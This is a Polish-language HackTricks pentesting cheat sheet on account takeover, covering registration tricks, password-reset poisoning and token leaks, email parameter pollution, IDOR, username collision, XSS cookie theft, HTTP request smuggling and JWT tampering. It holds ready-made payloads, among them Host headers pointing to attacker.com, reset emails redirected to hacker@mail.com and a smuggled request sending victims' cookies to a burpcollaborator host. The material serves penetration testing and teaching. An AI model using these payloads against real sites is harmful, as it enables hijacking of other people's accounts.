11 KiB
Luki i podatności na przejęcie rejestracji
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
WhiteIntel
WhiteIntel to silnik wyszukiwania zasilany dark webem, który oferuje darmowe funkcje sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:
{% embed url="https://whiteintel.io" %}
Przejęcie rejestracji
Duplikacja rejestracji
- Spróbuj wygenerować używając istniejącej nazwy użytkownika
- Sprawdź zmieniając adres e-mail:
- wielkie litery
- +1@
- dodaj kropkę w adresie e-mail
- znaki specjalne w nazwie e-maila (%00, %09, %20)
- Dodaj czarne znaki po adresie e-mail:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Wyliczanie nazwy użytkownika
Sprawdź, czy możesz ustalić, czy nazwa użytkownika została już zarejestrowana w aplikacji.
Polityka hasła
Tworząc użytkownika, sprawdź politykę hasła (sprawdź, czy można używać słabych haseł).
W takim przypadku możesz spróbować przeprowadzić atak bruteforce na dane uwierzytelniające.
Wstrzyknięcie SQL
Sprawdź tę stronę aby dowiedzieć się, jak próbować przejmować konta lub wydobywać informacje za pomocą Wstrzyknięć SQL w formularzach rejestracyjnych.
Przejęcia Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Podatności SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Zmiana adresu e-mail
Po zarejestrowaniu spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie zweryfikowana lub czy można zmienić ją na dowolne adresy e-mail.
Dodatkowe sprawdzenia
- Sprawdź, czy można używać adresów e-mail jednorazowych
- Długie hasło (>200) prowadzi do DoS
- Sprawdź limity szybkości tworzenia kont
- Użyj username@burp_collab.net i przeanalizuj wywołanie zwrotne
Przejęcie resetowania hasła
Wyciek tokena resetowania hasła za pośrednictwem referenta
- Poproś o zresetowanie hasła na swój adres e-mail
- Kliknij w link resetowania hasła
- Nie zmieniaj hasła
- Kliknij na dowolne strony zewnętrzne (np. Facebook, Twitter)
- Przechwyć żądanie w proxy Burp Suite
- Sprawdź, czy nagłówek referer wycieka token resetowania hasła.
Zatrucie resetowania hasła
- Przechwyć żądanie resetowania hasła w Burp Suite
- Dodaj lub edytuj następujące nagłówki w Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Przekaż żądanie z zmodyfikowanym nagłówkiem
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Szukaj adresu URL resetowania hasła na podstawie nagłówka hosta np.:
https://attacker.com/reset-password.php?token=TOKEN
Resetowanie hasła za pomocą parametru e-mail
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR na parametrach API
- Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.
- Uruchom Burp Suite i przechwyć żądanie.
- Wyślij je do karty repeater i edytuj parametry: ID użytkownika/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Słaby token resetowania hasła
Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.
Spróbuj określić, czy token wygasa, czy zawsze jest taki sam, w niektórych przypadkach algorytm generowania jest słaby i może być odgadnięty. Następujące zmienne mogą być używane przez algorytm.
- Znacznik czasu
- ID użytkownika
- Email użytkownika
- Imię i nazwisko
- Data urodzenia
- Kryptografia
- Tylko liczby
- Krótka sekwencja tokena (znaki między [A-Z,a-z,0-9])
- Ponowne użycie tokenu
- Data wygaśnięcia tokenu
Wyciekający token resetowania hasła
- Wywołaj żądanie resetowania hasła za pomocą interfejsu API/UI dla określonego adresu e-mail, np. test@mail.com
- Sprawdź odpowiedź serwera i sprawdź
resetToken
- Następnie użyj tokenu w adresie URL, np.
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Resetowanie hasła poprzez kolizję nazwy użytkownika
- Zarejestruj się w systemie z nazwą użytkownika identyczną z nazwą użytkownika ofiary, ale z białymi znakami wstawionymi przed i/lub po nazwie użytkownika, np.
"admin "
- Poproś o zresetowanie hasła za pomocą swojej złośliwej nazwy użytkownika.
- Użyj otrzymanego tokenu w e-mailu i zresetuj hasło ofiary.
- Zaloguj się na konto ofiary za pomocą nowego hasła.
Platforma CTFd była podatna na ten atak.
Zobacz: CVE-2020-7245
Przejęcie konta poprzez Cross Site Scripting
- Znajdź XSS wewnątrz aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej:
*.domain.com
- Wyciekaj bieżące ciasteczka sesji
- Uwierzytelnij się jako użytkownik, korzystając z ciasteczka
Przejęcie konta poprzez HTTP Request Smuggling
1. Użyj smuggler do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stwórz żądanie, które nadpisze POST / HTTP/1.1
następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X:
z celem przekierowania ofiar do burpcollab i kradzieży ich ciasteczek
3. Ostateczne żądanie może wyglądać następująco
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Przejęcie Konta poprzez CSRF
- Stwórz ładunek dla CSRF, np. "Formularz HTML z automatycznym przesłaniem zmiany hasła"
- Wyślij ładunek
Przejęcie Konta poprzez JWT
Token JSON Web może być używany do uwierzytelniania użytkownika.
- Edytuj JWT z innym ID użytkownika / adresem e-mail
- Sprawdź czy podpis JWT jest słaby
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Odnośniki
WhiteIntel
WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:
{% embed url="https://whiteintel.io" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.